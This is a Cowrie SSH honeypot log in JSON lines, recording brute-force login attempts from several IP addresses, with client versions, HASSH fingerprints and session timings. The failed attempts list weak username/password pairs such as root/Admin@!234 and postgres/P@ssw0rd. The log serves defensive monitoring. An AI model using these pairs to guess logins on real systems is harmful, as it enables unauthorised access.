{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:17.841588Z","src_ip":"27.71.230.31","session":"07b833d984ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":27548,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0011eb783f2","protocol":"ssh","message":"New connection: 91.92.40.36:27548 (10.17.0.5:22) [session: a0011eb783f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:21.690712Z"}
{"eventid":"cowrie.login.failed","username":"backend","password":"backend","message":"login attempt [backend/backend] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:22.151248Z","src_ip":"91.92.40.36","session":"e07432ddee3b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:22.480553Z","src_ip":"91.92.40.36","session":"a0011eb783f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:22.503219Z","src_ip":"91.92.40.36","session":"a0011eb783f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@!234","message":"login attempt [root/Admin@!234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:23.826331Z","src_ip":"27.71.230.31","session":"07b833d984ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.8","message":"Connection lost after 8.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:24.422130Z","src_ip":"91.92.40.36","session":"e07432ddee3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"12345","message":"login attempt [devops/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:24.834671Z","src_ip":"91.92.40.36","session":"a0011eb783f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.4","message":"Connection lost after 9.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:25.321102Z","src_ip":"27.71.230.31","session":"07b833d984ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:26.410533Z","src_ip":"91.92.40.36","session":"a0011eb783f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":51570,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1a99a7e2167","protocol":"ssh","message":"New connection: 91.92.40.36:51570 (10.17.0.5:22) [session: d1a99a7e2167]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:29.099343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:29.738618Z","src_ip":"91.92.40.36","session":"d1a99a7e2167","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:29.742007Z","src_ip":"91.92.40.36","session":"d1a99a7e2167","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123123","message":"login attempt [deploy/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:33.046617Z","src_ip":"91.92.40.36","session":"d1a99a7e2167","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:34.632643Z","src_ip":"91.92.40.36","session":"d1a99a7e2167","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":12458,"dst_ip":"10.17.0.5","dst_port":22,"session":"d36dbb0da7cf","protocol":"ssh","message":"New connection: 91.92.40.36:12458 (10.17.0.5:22) [session: d36dbb0da7cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:36.654843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:37.335778Z","src_ip":"91.92.40.36","session":"d36dbb0da7cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:37.346507Z","src_ip":"91.92.40.36","session":"d36dbb0da7cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.146.243.24","src_port":36346,"dst_ip":"159.203.135.109","dst_port":22,"session":"1571069b51d6","protocol":"ssh","message":"New connection: 129.146.243.24:36346 (159.203.135.109:22) [session: 1571069b51d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:38.182869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:38.209995Z","src_ip":"129.146.243.24","session":"1571069b51d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:38.309799Z","src_ip":"129.146.243.24","session":"1571069b51d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"traveller","password":"traveller123","message":"login attempt [traveller/traveller123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:38.987483Z","src_ip":"129.146.243.24","session":"1571069b51d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:40.083320Z","src_ip":"129.146.243.24","session":"1571069b51d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"P@ssw0rd","message":"login attempt [postgres/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:41.405403Z","src_ip":"91.92.40.36","session":"d36dbb0da7cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.9","message":"Connection lost after 6.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:43.532593Z","src_ip":"91.92.40.36","session":"d36dbb0da7cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":12528,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a588d7418e6","protocol":"ssh","message":"New connection: 91.92.40.36:12528 (10.17.0.5:22) [session: 4a588d7418e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:44.171922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:44.881405Z","src_ip":"91.92.40.36","session":"4a588d7418e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:44.907310Z","src_ip":"91.92.40.36","session":"4a588d7418e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a1","password":"a1","message":"login attempt [a1/a1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:48.503434Z","src_ip":"91.92.40.36","session":"4a588d7418e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:50.319289Z","src_ip":"91.92.40.36","session":"4a588d7418e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":17090,"dst_ip":"10.17.0.5","dst_port":22,"session":"9843071b4d86","protocol":"ssh","message":"New connection: 91.92.40.36:17090 (10.17.0.5:22) [session: 9843071b4d86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:52.171912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:52.795649Z","src_ip":"91.92.40.36","session":"9843071b4d86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:52.803885Z","src_ip":"91.92.40.36","session":"9843071b4d86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"danny","password":"danny123","message":"login attempt [danny/danny123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:56.057603Z","src_ip":"91.92.40.36","session":"9843071b4d86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":42820,"dst_ip":"159.203.135.109","dst_port":22,"session":"a316ec59d69b","protocol":"ssh","message":"New connection: 102.213.34.99:42820 (159.203.135.109:22) [session: a316ec59d69b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:58.094147Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:58.098551Z","src_ip":"102.213.34.99","session":"a316ec59d69b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:58.270091Z","src_ip":"102.213.34.99","session":"a316ec59d69b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:58.601508Z","src_ip":"91.92.40.36","session":"9843071b4d86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tmp123","message":"login attempt [root/tmp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:40:58.993876Z","src_ip":"102.213.34.99","session":"a316ec59d69b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:00.177066Z","src_ip":"102.213.34.99","session":"a316ec59d69b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":40394,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d38993a777c","protocol":"ssh","message":"New connection: 91.92.40.36:40394 (10.17.0.5:22) [session: 9d38993a777c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:00.373740Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":42634,"dst_ip":"159.203.135.109","dst_port":22,"session":"286d935ab7d6","protocol":"ssh","message":"New connection: 14.63.196.175:42634 (159.203.135.109:22) [session: 286d935ab7d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:02.286363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:02.290041Z","src_ip":"14.63.196.175","session":"286d935ab7d6","protocol":"ssh"}
